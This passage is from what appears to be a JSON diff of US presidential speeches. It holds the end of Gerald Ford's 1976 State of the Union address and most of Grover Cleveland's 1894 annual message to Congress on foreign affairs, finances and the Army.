the Congress during the past year--most recently in\nrespect to Angola--were, in my view, very shortsighted. Unfortunately, they\nare still very much on the minds of our allies and our adversaries.A strong defense posture gives weight to our values and our views in\ninternational negotiations. It assures the vigor of our alliances. And it\nsustains our efforts to promote settlements of international conflicts.\nOnly from a position of strength can we negotiate a balanced agreement to\nlimit the growth of nuclear arms. Only a balanced agreement will serve our\ninterests and minimize the threat of nuclear confrontation.The defense budget I will submit to the Congress for fiscal year 1977 will\nshow an essential increase over the current year. It provides for real\ngrowth in purchasing power over this year's defense budget, which includes\nthe cost of the all-volunteer force.We are continuing to make economies to enhance the efficiency of our\nmilitary forces. But the budget I will submit represents the necessity of\nAmerican strength for the real world in which we live.As conflict and rivalry persist in the world, our United States\nintelligence capabilities must be the best in the world.The crippling of our foreign intelligence services increases the danger of\nAmerican involvement in direct armed conflict. Our adversaries are\nencouraged to attempt new adventures while our own ability to monitor\nevents and to influence events short of military action is undermined.\nWithout effective intelligence capability, the United States stands\nblindfolded and hobbled.In the near future, I will take actions to reform and strengthen our\nintelligence community. I ask for your positive cooperation. It is time to\ngo beyond sensationalism and ensure an effective, responsible, and\nresponsive intelligence capability.Tonight I have spoken about our problems at home and abroad. I have\nrecommended policies that will meet the challenge of our third century. I\nhave no doubt that our Union will endure, better, stronger, and with more\nindividual freedom. We can see forward only dimly--1 year, 5 years, a\ngeneration perhaps. Like our forefathers, we know that if we meet the\nchallenges of our own time with a common sense of purpose and conviction,\nif we remain true to our Constitution and to our ideals, then we can know\nthat the future will be better than the past.I see America today crossing a threshold, not just because it is our\nBicentennial but because we have been tested in adversity. We have taken a\nnew look at what we want to be and what we want our Nation to become.I see America resurgent, certain once again that life will be better for\nour children than it is for us, seeking strength that cannot be counted in\nmegatons and riches that cannot be eroded by inflation.I see these United States of America moving forward as before toward a more\nperfect Union where the government serves and the people rule.We will not make this happen simply by making speeches, good or bad, yours\nor mine, but by hard work and hard decisions made with courage and with\ncommon sense.I have heard many inspiring Presidential speeches, but the words I remember\nbest were spoken by Dwight D. Eisenhower. \"America is not good because it\nis great,\" the President said. \"America is great because it is good.\"President Eisenhower was raised in a poor but religious home in the heart\nof America. His simple words echoed President Lincoln's eloquent testament\nthat \"right makes might.\" And Lincoln in turn evoked the silent image of\nGeorge Washington kneeling in prayer at Valley Forge.So, all these magic memories which link eight generations of Americans are\nsummed up in the inscription just above me. How many times have we seen it?\n\"In God We Trust.\"Let us engrave it now in each of our hearts as we begin our Bicentennial.", 
+    "name": "Gerald R. Ford"
+}
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+{
+    "date": "December 2, 1894", 
+    "speech": "To the Congress of the United States:The assemblage within the nation's legislative halls of those charged with the\nduty of making laws for the benefit of a generous and free people impressively\nsuggests the exacting obligation and inexorable responsibility involved in\ntheir task. At the threshold of such labor now to be undertaken by the\nCongress of the United States, and in the discharge of an executive duty\nenjoined by the Constitution, I submit this communication, containing a brief\nstatement of the condition of our national affairs and recommending such\nlegislation as seems to me necessary and expedient.The history of our recent dealings with other nations and our peaceful\nrelations with them at this time additionally demonstrate the advantage of\nconsistently adhering to a firm but just foreign policy, free from envious or\nambitious national schemes and characterized by entire honesty and sincerity.During the past year, pursuant to a law of Congress, commissioners were\nappointed to the Antwerp Industrial Exposition. Though the participation of\nAmerican exhibitors fell far short of completely illustrating our national\ningenuity and industrial achievements, yet it was quite creditable in view of\nthe brief time allowed for preparation.I have endeavored to impress upon the Belgian Government the heedlessness and\npositive harmfulness of its restrictions upon the importation of certain of\nour food products, and have strongly urged that the rigid supervision and\ninspection under our laws are amply sufficient to prevent the exportation from\nthis country of diseased cattle and unwholesome meat.The termination of the civil war in Brazil has been followed by the general\nprevalence of peace and order. It appearing at an early stage of the\ninsurrection that its course would call for unusual watchfulness on the part\nof this Government, our naval force in the harbor of Rio de Janeiro was\nstrengthened. This precaution, I am satisfied, tended to restrict the issue to\na simple trial of strength between the Brazilian Government and the insurgents\nand to avert complications which at times seemed imminent. Our firm attitude\nof neutrality was maintained to the end. The insurgents received no\nencouragement of eventual asylum from our commanders, and such opposition as\nthey encountered was for the protection of our commerce and was clearly\njustified by public law.A serious tension of relations having arisen at the close of the war between\nBrazil and Portugal by reason of the escape of the insurgent admiral Da Gama\nand his followers, the friendly offices of our representatives to those\ncountries were exerted for the protection of the subjects of either within the\nterritory of the other.Although the Government of Brazil was duly notified that the commercial\narrangement existing between the United States and that country based on the\nthird section of the tariff act of 1890 was abrogated on August 28, 1894, by\nthe taking effect of the tariff law now in force, that Government subsequently\nnotified us of its intention to terminate such arrangement on the 1st day of\nJanuary, 1895, in the exercise of the right reserved in the agreement between\nthe two countries. I invite attention to the correspondence between the\nSecretary of State and the Brazilian minister on this subject.The commission organized under the convention which we had entered into with\nChile for the settlement of the outstanding claims of each Government against\nthe other adjourned at the end of the period stipulated for its continuance\nleaving undetermined a number of American cases which had been duly presented.\nThese claims are not barred, and negotiations are in progress for their\nsubmission to a new tribunal.On the 17th of March last a new treaty with China in further regulation of\nemigration was signed at Washington, and on August 13 it received the sanction\nof the Senate. Ratification on the part of China and formal exchange are\nawaited to give effect to this mutually beneficial convention.A gratifying recognition of the uniform impartiality of this country toward\nall foreign states was manifested by the coincident request of the Chinese and\nJapanese Governments that the agents of the United States should within proper\nlimits afford protection to the subjects of the other during the suspension of\ndiplomatic relations due to a state of war. This delicate office was accepted,\nand a misapprehension which gave rise to the belief that in affording this\nkindly unofficial protection our agents would exercise the same authority\nwhich the withdrawn agents of the belligerents had exercised was promptly\ncorrected. Although the war between China and Japan endangers no policy of the\nUnited States, it deserves our gravest consideration by reason of its\ndisturbance of our growing commercial interests in the two countries and the\nincreased dangers which may result to our citizens domiciled or sojourning in\nthe interior of China.Acting under a stipulation in our treaty with Korea (the first concluded with\na western power), I felt constrained at the beginning of the controversy to\ntender our good offices to induce an amicable arrangement of the initial\ndifficulty growing out of the Japanese demands for administrative reforms in\nKorea, but the unhappy precipitation of actual hostilities defeated this\nkindly purpose.Deploring the destructive war between the two most powerful of the eastern\nnations and anxious that our commercial interests in those countries may be\npreserved and that the safety of our citizens there shall not be jeopardized,\nI would not hesitate to heed any intimation that our friendly aid for the\nhonorable termination of hostilities would be acceptable to both belligerents.A convention has been finally concluded for the settlement by arbitration of\nthe prolonged dispute with Ecuador growing out of the proceedings against\nEmilio Santos, a naturalized citizen of the United States.Our relations with the Republic of France continue to be such as should exist\nbetween nations so long bound together by friendly sympathy and similarity in\ntheir form of government.The recent cruel assassination of the President of this sister Republic called\nforth such universal expressions of sorrow and condolence from our people and\nGovernment as to leave no doubt of the depth and sincerity of our attachment.\nThe resolutions passed by the Senate and House of Representatives on the\noccasion have been communicated to the widow of President Carnot.Acting upon the reported discovery of Texas fever in cargoes of American\ncattle, the German prohibition against importations of live stock and fresh\nmeats from this country has been revived. It is hoped that Germany will soon\nbecome convinced that the inhibition is as needless as it is harmful to mutual\ninterests.The German Government has protested against that provision of the customs\ntariff act which imposes a discriminating duty of one-tenth of 1 cent a pound\non sugars coming from countries paying an export bounty thereon, claiming that\nthe exaction of such duty is in contravention of Articles V and IX of the\ntreaty of 1828 with Prussia.In the interests of the commerce of both countries and to avoid even the\naccusation of treaty violation, I recommend the repeal of so much of the\nstatute as imposes that duty, and I invite attention to the accompanying\nreport of the Secretary of State, containing a discussion of the questions\nraised by the German protests.Early in the present year an agreement was reached with Great Britain\nconcerning instructions to be given to the naval commanders of the two\nGovernments in Bering Sea and the contiguous North Pacific Ocean for their\nguidance in the execution of the award of the Paris Tribunal of Arbitration\nand the enforcement of the regulations therein prescribed for the protection\nof seal life in the waters mentioned. An understanding has also been reached\nfor the payment by the United States of$425,000 in full satisfaction of all claims which may be made by Great Britain\nfor damages growing out of the controversy as to fur seals in Bering Sea or\nthe seizure of British vessels engaged in taking seal in those waters. The\naward and findings of the Paris Tribunal to a great extent determined the\nfacts and principles upon which these claims should be adjusted, and they have\nbeen subjected by both Governments to a thorough examination upon the\nprinciples as well as the facts which they involve. I am convinced that a\nsettlement upon the terms mentioned would be an equitable and advantageous\none, and I recommend that provision be made for the prompt payment of the\nstated sum.Thus far only France and Portugal have signified their willingness to adhere\nto the regulations established under the award of the Paris Tribunal of\nArbitration.Preliminary surveys of the Alaskan boundary and a preparatory examination of\nthe question of protection of food fish in the contiguous waters of the United\nStates and the Dominion of Canada are in progress.The boundary of British Guiana still remains in dispute between Great Britain\nand Venezuela. Believing that its early settlement on some just basis alike\nhonorable to both parties is in the line of our established policy to remove\nfrom this hemisphere all causes of difference with powers beyond the sea, I\nshall renew the efforts heretofore made to bring about a restoration of\ndiplomatic relations between the disputants and to induce a reference to\narbitration--a resort which Great Britain so conspicuously favors in principle\nand respects in practice and which is earnestly sought by her weaker\nadversary.Since communicating the voluminous correspondence in regard to Hawaii and the\naction taken by the Senate and House of Representatives on certain questions\nsubmitted to the judgment and wider discretion of Congress the organization of\na government in place of the provisional arrangement which followed the\ndeposition of the Queen has been announced, with evidence of its effective\noperation. The recognition usual in such cases has been accorded the new\nGovernment.Under our present treaties of extradition with Italy miscarriages of justice\nhave occurred owing to the refusal of that Government to surrender its own\nsubjects. Thus far our efforts to negotiate an amended convention obviating\nthis difficulty have been unavailing.Apart from the war in which the Island Empire is engaged, Japan attracts\nincreasing attention in this country by her evident desire to cultivate more\nliberal intercourse with us and to seek our kindly aid in furtherance of her\nlaudable desire for complete autonomy in her domestic affairs and full\nequality in the family of nations. The Japanese Empire of to-day is no longer\nthe Japan of the past, and our relations with this progressive nation should\nnot be less broad and liberal than those with other powers.Good will, fostered by many interests in common, has marked our relations with\nour nearest southern neighbor. Peace being restored along her northern\nfrontier, Mexico has asked the punishment of the late disturbers of her\ntranquillity. There ought to be a new treaty of commerce and navigation with\nthat country to take the place of the one which terminated thirteen years ago.\nThe friendliness of the intercourse between the two countries is attested by\nthe fact that during this long period the commerce of each has steadily\nincreased under the rule of mutual consideration, being neither stimulated by\nconventional arrangements nor retarded by jealous rivalries or selfish\ndistrust.An indemnity tendered by Mexico as a gracious act for the murder in 1887 of\nLeon Baldwin, an American citizen, by a band of marauders in Durango has been\naccepted and is being paid in installments.The problem of the storage and use of the waters of the Rio Grande for\nirrigation should be solved by appropriate concurrent action of the two\ninterested countries. Rising in the Colorado heights, the stream flows\nintermittently, yielding little water during the dry months to the irrigation\nchannels already constructed along its course. This scarcity is often severely\nfelt in the regions where the river forms a common boundary. Moreover, the\nfrequent changes in its course through level sands often raise embarrassing\nquestions of territorial jurisdiction.Prominent among the questions of the year was the Bluefields incident, in what\nis known as the Mosquito Indian Strip, bordering on the Atlantic Ocean and\nwithin the jurisdiction of Nicaragua. By the treaty of 1860 between Great\nBritain and Nicaragua the former Government expressly recognized the\nsovereignty of the latter over the strip, and a limited form of\nself-government was guaranteed to the Mosquito Indians, to be exercised\naccording to their customs, for themselves and other dwellers within its\nlimits. The so-called native government, which grew to be largely made up of\naliens, for many years disputed the sovereignty of Nicaragua over the strip\nand claimed the right to maintain therein a practically independent municipal\ngovernment. Early in the past year efforts of Nicaragua to maintain\nsovereignty over the Mosquito territory led to serious disturbances,\nculminating in the suppression of the native government and the attempted\nsubstitution of an impracticable composite administration in which Nicaragua\nand alien residents were to participate. Failure was followed by an\ninsurrection, which for a time subverted Nicaraguan rule, expelling her\nofficers and restoring the old organization. This in turn gave place to the\nexisting local government established and upheld by Nicaragua.Although the alien interests arrayed against Nicaragua in these transactions\nhave been largely American and the commerce of that region for some time has\nbeen and still is chiefly controlled by our citizens, we can not for that\nreason challenge the rightful sovereignty of Nicaragua over this important\npart of her domain.For some months one, and during part of the time two, of our naval ships have\nbeen stationed at Bluefields for the protection of all legitimate interests of\nour citizens. In September last the Government at Managua expelled from its\nterritory twelve or more foreigners, including two Americans, for alleged\nparticipation in the seditious or revolutionary movements against the Republic\nat Bluefields already mentioned; but through the earnest remonstrance of this\nGovernment the two Americans have been permitted to return to the peaceful\nmanagement of their business. Our naval commanders at the scene of these\ndisturbances by their constant exhibition of firmness and good judgment\ncontributed largely to the prevention of more serious consequences and to the\nrestoration of quiet and order. I regret that in the midst of these\noccurrences there happened a most grave and irritating failure of Nicaraguan\njustice. An American citizen named Wilson, residing at Rama, in the Mosquito\nterritory, was murdered by one Arguello, the acting governor of the town.\nAfter some delay the murderer was arrested, but so insecurely confined or\nguarded that he escaped, and notwithstanding our repeated demands it is\nclaimed that his recapture has been impossible by reason of his flight beyond\nNicaraguan jurisdiction.The Nicaraguan authorities, having given notice of forfeiture of their\nconcession to the canal company on grounds purely technical and not embraced\nin the contract, have receded from that position.Peru, I regret to say, shows symptoms of domestic disturbance, due probably to\nthe slowness of her recuperation from the distresses of the war of 1881.\nWeakened in resources, her difficulties in facing international obligations\ninvite our kindly sympathy and justify our forbearance in pressing\nlong-pending claims. I have felt constrained to testify this sympathy in\nconnection with certain demands urgently preferred by other powers.The recent death of the Czar of Russia called forth appropriate expressions of\nsorrow and sympathy on the part of our Government with his bereaved family and\nthe Russian people. As a further demonstration of respect and friendship our\nminister at St. Petersburg was directed to represent our Government at the\nfuneral ceremonies.The sealing interests of Russia in Bering Sea are second only to our own. A\nmodus vivendi has therefore been concluded with the Imperial Government\nrestrictive of poaching on the Russian rookeries and of sealing in waters\nwhich were not comprehended in the protected area defined in the Paris award.Occasion has been found to urge upon the Russian Government equality of\ntreatment for our great life-insurance companies whose operations have been\nextended throughout Europe. Admitting as we do foreign corporations to\ntransact business in the United States, we naturally expect no less tolerance\nfor our own in the ample fields of competition abroad.But few cases of interference with naturalized citizens returning to Russia\nhave been reported during the current year. One Krzeminski was arrested last\nsummer in a Polish province on a reported charge of unpermitted renunciation\nof Russian allegiance, but it transpired that the proceedings originated in\nalleged malfeasance committed by Krzeminski while an imperial official a\nnumber of years ago. Efforts for his release, which promised to be successful,\nwere in progress when his death was reported.The Government of Salvador having been overthrown by an abrupt popular\noutbreak, certain of its military and civil officers, while hotly pursued by\ninfuriated insurgents, sought refuge on board the United States war ship\nBennington, then lying in a Salvadorean port. Although the practice of asylum\nis not favored by this Government, yet in view of the imminent peril which\nthreatened the fugitives and solely from considerations of humanity they were\nafforded shelter by our naval commander, and when afterwards demanded under\nour treaty of extradition with Salvador for trial on charges of murder, arson,\nand robbery I directed that such of them as had not voluntarily left the ship\nbe conveyed to one of our nearest ports where a hearing could be had before a\njudicial officer, in compliance with the terms of the treaty. On their arrival\nat San Francisco such a proceeding was promptly instituted before the United\nStates district judge, who held that the acts constituting the alleged\noffenses were political and discharged all the accused except one Cienfuegos,\nwho was held for an attempt to murder. Thereupon I was constrained to direct\nhis release for the reason that an attempt to murder was not one of the crimes\ncharged against him and upon which his surrender to the Salvadorean\nauthorities had been demanded.Unreasonable and unjust fines imposed by Spain on the vessels and commerce of\nthe United States have demanded from time to time during the last twenty years\nearnest remonstrance on the part of our Government. In the immediate past\nexorbitant penalties have been imposed upon our vessels and goods by customs\nauthorities of Cuba and Puerto Rico for clerical errors of the most trivial\ncharacter in the manifests of bills of lading. In some cases fines amounting\nto thousands of dollars have been levied upon cargoes or the carrying vessels\nwhen the goods in question were entitled to free entry. Fines have been\nexacted even when the error had been detected and the Spanish authorities\nnotified before the arrival of the goods in port.This conduct is in strange contrast with the considerate and liberal treatment\nextended to Spanish vessels and cargoes in our ports in like cases. No\nsatisfactory settlement of these vexatious questions has yet been reached.The Mora case, referred to in my last annual message, remains unsettled. From\nthe diplomatic correspondence on this subject which has been laid before the\nSenate it will be seen that this Government has offered to conclude a\nconvention with Spain for disposal by arbitration of outstanding claims\nbetween the two countries, except the Mora claim. which, having been long ago\nadjusted, now only awaits payment as stipulated, and of course it could not be\nincluded in the proposed convention. It was hoped that this offer would remove\nparliamentary obstacles encountered by the Spanish Government in providing\npayment of the Mora indemnity. I regret to say that no definite reply to this\noffer has yet been made and all efforts to secure payment of this settled\nclaim have been unavailing.In my last annual message I adverted to the claim on the part of Turkey of the\nright to expel as persons undesirable and dangerous Armenians naturalized in\nthe United States and returning to Turkish jurisdiction. Numerous questions in\nthis relation have arisen. While this Government acquiesces in the asserted\nright of expulsion, it will not consent that Armenians may be imprisoned or\notherwise punished for no other reason than having acquired without imperial\nconsent American citizenship.Three of the assailants of Miss Melton, an American teacher in Mosul, have\nbeen convicted by the Ottoman courts, and I am advised that an appeal against\nthe acquittal of the remaining five has been taken by the Turkish prosecuting\nofficer.A convention has been concluded with Venezuela for the arbitration of a\nlong-disputed claim growing out of the seizure of certain vessels the property\nof citizens of the United States. Although signed, the treaty of extradition\nwith Venezuela is not yet in force, owing to the insistence of that Government\nthat when surrendered its citizens shall in no case be liable to capital\npunishment.The rules for the prevention of collisions at sea which were framed by the\nmaritime conference held in this city in 1889, having been concurrently\nincorporated in the statutes of the United States and Great Britain have been\nannounced to take effect March 1, 1895, and invitations have been extended to\nall maritime nations to adhere to them. Favorable responses have thus far been\nreceived from Austria, France, Portugal, Spain, and Sweden.In my last annual message I referred briefly to the unsatisfactory state of\naffairs in Samoa under the operation of the Berlin treaty as signally\nillustrating the impolicy of entangling alliances with foreign powers, and on\nMay 9, 1894, in response to a resolution of the Senate, I sent a Special\nmessage and documents to that body on the same subject, which emphasized my\npreviously expressed opinions. Later occurrences, the correspondence in regard\nto which will be laid before the Congress, further demonstrate that the\nGovernment which was devised by the three powers and forced upon the Samoans\nagainst their inveterate hostility can be maintained only by the continued\npresence of foreign military force and at no small sacrifice of life and\ntreasure.The suppression of the Mataafa insurrection by the powers and the subsequent\nbanishment of the leader and eleven other chiefs, as recited in my last\nmessage, did not bring lasting peace to the islands. Formidable uprisings\ncontinued, and finally a rebellion broke out in the capital island, Upolu,\nheaded in Aana, the western district, by the younger Tamasese, and in Atua,\nthe eastern district, by other leaders. The insurgents ravaged the country and\nfought the Government's troops up to the very doors of Apia. The King again\nappealed to the powers for help, and the combined British and German naval\nforces reduced the Atuans to apparent subjection, not, however, without\nconsiderable loss to the natives. A few days later Tamasese and his adherents,\nfearing the ships and the marines, professed submission.Reports received from our agents at Apia do not justify the belief that the\npeace thus brought about will be of long duration. It is their conviction that\nthe natives are at heart hostile to the present Government, that such of them\nas profess loyalty to it do so from fear of the powers, and that it would\nspeedily go to pieces if the war ships were withdrawn. In reporting to his\nGovernment on the unsatisfactory situation since the suppression of the late\nrevolt by foreign armed forces, the German consul at Apia stated:That peace will be lasting is hardly to be presumed. The lesson given by\nfiring on Atua was not sufficiently sharp and incisive to leave a lasting\nimpression on the forgetful Samoan temperament. In fact, conditions are\nexisting which show that peace will not last and is not seriously intended.\nMalietoa, the King, and his chiefs are convinced that the departure of the war\nships will be a signal for a renewal of war. The circumstance that the\nrepresentatives of the villages of all the districts which were opposed to the\nGovernment have already withdrawn to Atua to hold meetings, and that both Atua\nand Aana have forbidden inhabitants of those districts which fought on the\nside of the Government to return to their villages, and have already partly\nburned down the latter, indicates that a real conciliation of the parties is\nstill far off.And in a note of the 10th ultimo, inclosing a copy of that report for the\ninformation of this Government, the German ambassador said:The contents of the report awakened the imperial Government's apprehension\nthat under existing circumstances the peace concluded with the rebels will\nafford no assurance of the lasting restoration of tranquillity in the islands.The present Government has utterly failed to correct, if indeed it has not\naggravated, the very evils it was intended to prevent. It has not stimulated\nour commerce with the islands. Our participation in its establishment against\nthe wishes of the natives was in plain defiance of the conservative teachings\nand warnings of the wise and patriotic men who laid the foundations of our\nfree institutions, and I invite an expression of the judgment of Congress on\nthe propriety of steps being taken by this Government looking to the\nwithdrawal from its engagements with the other powers on some reasonable terms\nnot prejudicial to any of our existing rights.The Secretary of the Treasury reports that the receipts of the Government from\nall sources of revenue during the fiscal year ending June 30, 1894, amounted\nto $372,802,498.29 and its expenditures to $442,605,758.87, leaving a deficit\nof $69,803,260.58. There was a decrease of $15,952,674.66 in the ordinary\nexpense of the Government as compared with the fiscal year 1893.There was collected from customs $131,818,530.62 and from internal revenue\n$147,168,449.70. The balance of the income for the year, amounting to\n$93,815,517.97, was derived from the sales of lands and other sources.The value of our total dutiable imports amounted to $275,199,086, being\n$146,657,625 less than during the preceding year, and the importations free of\nduty amounted to $379,795,536, being $64,748,675 less than during the\npreceding year. The receipts from customs were $73,536,486.11 less and from\ninternal revenue $13,836,539.97 less than in 1893.The total tax collected from distilled spirits was $85,259,250.25, on\nmanufactured tobacco $28,617,898.62, and on fermented liquors $31,414,788.04.Our exports of merchandise, domestic and foreign, amounted during the year to\n$892,140,572, being an increase over the preceding year of $44,495,378.The total amount of gold exported during the fiscal year was $76,898,061, as\nagainst $108,680,444 during the fiscal year 1893. The amount imported was\n$72,449,119, as against $21,174,381 during the previous year.The imports of silver were $13,186,552 and the exports were $50,451,265.The total bounty paid upon the production of sugar in the United States for\nthe fiscal year was $12,100,208.89, being an increase of $2,725,078.01 over\nthe payments made during the preceding year. The amount of bounty paid from\nJuly 1, 1894, to August 28, 1894, the time when further payments ceased by\noperation of law, was $966,185.84. The total expenses incurred in the payment\nof the bounty upon sugar during the fiscal year was $130,140.85.It is estimated that upon the basis of the present revenue laws the receipts\nof the Government during the current fiscal year, ending June 30, 1895, will\nbe $424,427,748.44 and its expenditures $444,427,748.44, resulting in a\ndeficit of $20,000,000.On the 1st day of November, 1894, the total stock of money of all kinds in the\ncountry was $2,240,773,88.8, as against $2,204,651,000 on the 1st day of\nNovember, 1893, and the money of all kinds in circulation, or not included in\nthe Treasury holdings, was $1,672,093,422, or $24.27 per capita upon an\nestimated population of 68,887,000. At the same date there was held in the\nTreasury gold bullion amounting to $44,615,177.55 and silver bullion which was\npurchased at a cost of $127,772,988. The purchase of silver bullion under the\nact of July 14, 1890, ceased on the 1st day of November, 1893, and up to that\ntime there had been purchased during the fiscal year 11,917,658.78 fine\nounces, at a cost of $8,715,521.32, an average cost of $0.7313 per fine ounce.\nThe total amount of silver purchased from the time that law took effect until\nthe repeal of its purchasing clause, on the date last mentioned, was\n168,674,682.53 fine ounces, which cost $155,931,002.25, the average price per\nfine ounce being $0.9244.The total amount of standard silver dollars coined at the mints of the United\nStates since the passage of the act of February 28, 1878, is $421,776,408, of\nwhich $378,166,793 were coined under the provisions of that act, $38,531,143\nunder the provisions of the act of July 14, 1890, and $5,078,472 under the act\nproviding for the coinage of trade-dollar bullion.The total coinage of all metals at our mints during the last fiscal year\nconsisted of 63,485,220 pieces, valued at $106,216,730.06, of which there were\n$99,474,912.50 in gold coined, $758 in standard silver dollars, $6,024,140.30\nin subsidiary silver coin, and $716,919.26 in minor coin.During the calendar year 1893 the production of precious metals in the United\nStates was estimated at 1,739,323 fine ounces of gold of the commercial and\ncoinage value of $35,955,000 and 70,000,000 fine ounces of silver of the\nbullion or market value of $46,800,000 and of the coinage value of\n$77,576,000. It is estimated that on the 1st day of July, 1894, the stock of\nmetallic money in the United States, consisting of coin and bullion, amounted\nto $1,251,640,958, of which $627,923,201 was gold and $624,347,757 was silver.Fifty national banks were organized during the year ending October 31, 1894,\nwith a capital of $5,285,000, and 79, with a capital of $10,475,000, went into\nvoluntary liquidation. Twenty-one banks, with a capital of $2,770,000, were\nplaced in the hands of receivers. The total number of national banks in\nexistence on the 31st day of October last was 3,756, being 40 less than on the\n31st day of October, 1893. The capital stock paid in was $672,671,365, being\n$9,678,491 less than at the same time in the previous year, and the surplus\nfund and individual profits, less expenses and taxes paid, amounted to\n$334,121,082.10, which was $16,089,780 less than on October 31, 1893. The\ncirculation was decreased $1,741,563. The obligations of the banks to each\nother were increased $117,268,334 and the individual deposits were\n$277,294,489 less than at the corresponding date in the previous year. Loans\nand discounts were $161,206,923 more than at the same time the previous year,\nand checks and other cash items were $90,349,963 more. The total resources of\nthe banks at the date mentioned amounted to $3,473,922,055, as against\n$3,109,563,184.36 in 1893.From the report of the Secretary of War it appears that the strength of the\nArmy on September 30, 1894, was 2,135 officers and 25,765 enlisted men.\nAlthough this is apparently a very slight decrease compared with the previous\nyear, the actual effective force has been increased to the equivalent of\nnearly two regiments through the reorganization of the system of recruiting\nand the consequent release to regimental duty of the large force of men\nhitherto serving at the recruiting depots. The abolition of these depots, it\nis predicted, will furthermore effect an annual reduction approximating\n$250,000 in the direct expenditures, besides promoting generally the health,\nmorale, and discipline of the troops.The execution of the policy of concentrating the Army at important centers of\npopulation and transportation, foreshadowed in the last annual report of the\nSecretary, has resulted in the abandonment of fifteen of the smaller posts,\nwhich was effected under a plan which assembles organizations of the same\nregiments hitherto widely separated. This renders our small forces more\nreadily effective for any service which they may be called upon to perform,\nincreases the extent of the territory under protection without diminishing the\nsecurity heretofore afforded to any locality, improves the discipline,\ntraining, and esprit de corps of the Army, besides considerably decreasing the\ncost of its maintenance.Though the forces of the Department of the East have been somewhat increased,\nmore than three-fourths of the Army is still stationed west of the\nMississippi. This carefully matured policy, which secures the best and\ngreatest service in the interests of the general welfare from the small force\ncomprising our Regular Army, should not be thoughtlessly embarrassed by the\ncreation of new and unnecessary posts through acts of Congress to gratify the\nambitions or interests of localities.While the maximum legal strength of the Army is 25,000 men, the effective\nstrength, through various causes, is but little over 20,000 men. The purpose\nof Congress does not, therefore, seem to be fully attained by the existing\ncondition. While no considerable increase in the Army is, in my judgment,\ndemanded by recent events, the policy of seacoast fortification, in the\nprosecution of which we have been steadily engaged for some years, has so far\ndeveloped as to suggest that the effective strength of the Army be now made at\nleast equal to the legal strength. Measures taken by the Department during the\nyear, as indicated, have already considerably augmented the effective force,\nand the Secretary of War presents a plan, which I recommend to the\nconsideration of Congress, to attain the desired end. Economies effected in\nthe Department in other lines of its work will offset to a great extent the\nexpenditure involved in the proposition submitted. Among other things this\ncontemplates the adoption of the three-battalion formation of regiments, which\nfor several years has been indorsed by the Secretaries of War and the Generals\nCommanding the Army. Compact in itself, it provides a skeleton organization,\nready to be filled out in the event of war, which is peculiarly adapted to our\nstrength and requirements; and the fact that every other nation, with a single\nexception, has adopted this formation to meet the conditions of modern warfare\nshould alone secure for the recommendation an early consideration.It is hardly necessary to recall the fact that in obedience to the commands of\nthe Constitution and the laws, and for the purpose of protecting the property\nof the United States, aiding the process of Federal courts, and removing\nlawless obstructions to the performance by the Government of its legitimate\nfunctions, it became necessary in various localities during the year to employ\na considerable portion of the regular troops. The duty was discharged\npromptly, courageously, and with marked discretion by the officers and men,\nand the most gratifying proof was thus afforded that the Army deserves that\ncomplete confidence in its efficiency and discipline which the country has at\nall times manifested.The year has been free from disturbances by Indians, and the chances of\nfurther depredations on their part are constantly becoming more remote and\nimprobable.The total .expenditures for the War Department for the year ended June 30,\n1894, amounted to $56,039,009.34. Of this sum $2,000,614.99 was for salaries\nand contingent expenses, $23,665,156.16 for the support of the military\nestablishment, $5,001,682.23 for miscellaneous objects, and $25,371,555.96 for\npublic works. This latter sum includes $19,494,037.49 for river and harbor\nimprovements and $3,947,863.56 for fortifications and other works of defense.\nThe appropriations for the current year aggregate $52,429,112.78, and the\nestimates submitted by the Secretary of War for the next fiscal year call for\nappropriations amounting to $52,318,629.55.The skill and industry of our ordnance officers and inventors have, it is\nbelieved, overcome the mechanical obstacles which have heretofore delayed the\narmament of our coasts, and this great national undertaking upon which we have\nentered may now proceed as rapidly as Congress shall determine. With a supply\nof finished guns of large caliber already on hand, to which additions should\nnow rapidly follow, the wisdom of providing carriages and emplacements for\ntheir mount can not be too strongly urged.The total enrollment of the militia of the several States is 117,533 officers\nand enlisted men, an increase of 5,343 over the number reported at the close\nof the previous year. The reports of militia inspections by Regular Army\nofficers show a marked increase in interest and efficiency among the State\norganizations, and I strongly recommend a continuance of the policy of\naffording every practical encouragement possible to this important auxiliary\nof our military establishment.The condition of the Apache Indians held as prisoners by the Government for\neight years at a cost of half a million dollars has been changed during the\nyear from captivity to one which gives them an opportunity to demonstrate\ntheir capacity for self-support and at least partial civilization. Legislation\nenacted at the late session of Congress gave the War Department authority to\ntransfer the survivors, numbering 346, from Mount Vernon Barracks, in Alabama,\nto any suitable reservation. The Department selected as their future home the\nmilitary lands near Fort Sill, Ind. T., where, under military surveillance,\nthe former prisoners have been established in agriculture under conditions\nfavorable to their advancement.In recognition of the long and distinguished military services and faithful\ndischarge of delicate and responsible civil duties by Major-General John M.\nSchofield, now the General Commanding the Army, it is suggested to Congress\nthat the temporary revival of the grade of lieutenant-general in his behalf\nwould be a just and gracious act and would permit his retirement, now near at\nhand, with rank befitting his merits.The report of the Attorney-General notes the gratifying progress made by the\nSupreme Court in overcoming the arrears of its business and in reaching a\ncondition in which it will be able to dispose of cases as they arise without\nany unreasonable delay. This result is of course very largely due to the\nsuccessful working of the plan inaugurating circuit courts of appeals. In\nrespect to these tribunals the suggestion is made, in quarters entitled to the\nhighest consideration that an additional circuit judge for each circuit would\ngreatly strengthen these courts and the confidence reposed in their\nadjudications, and that such an addition would not create a greater force of\njudges than the increasing business of such courts requires. I commend the\nsuggestion to the careful consideration of the Congress. Other important\ntopics are adverted to in the report, accompanied by recommendations, many of\nwhich have been treated at large in previous messages, and at this time,\ntherefore, need only be named. I refer to the abolition of the fee system as a\nmeasure of compensation to Federal officers; the enlargement of the powers of\nUnited States commissioners, at least in the Territories; the allowance of\nwrits of error in criminal cases on behalf of the United States, and the\nestablishment of degrees in the crime of murder. A topic dealt with by the\nAttorney-General of much importance is the condition of the administration of\njustice in the Indian Territory. The permanent solution of what is called the\nIndian problem is probably not to be expected at once, but meanwhile such\nameliorations of present conditions as the existing system will admit of ought\nnot to be neglected. I am satisfied there should be a Federal court\nestablished for the Territory, with sufficient judges, and that this court\nshould sit within the Territory and have the same jurisdiction as to\nTerritorial affairs as is now vested in the Federal courts sitting in Arkansas\nand Texas.Another subject of pressing moment referred to by the Attorney-General is the\nreorganization of the Union Pacific Railway Company on a basis equitable as\nregards all private interests and as favorable to the Government as existing\nconditions will permit. The operation of a railroad by a court through a\nreceiver is an anomalous state of things which should be terminated on all\ngrounds, public and private, at the earliest possible moment. Besides, not to\nenact the needed enabling legislation 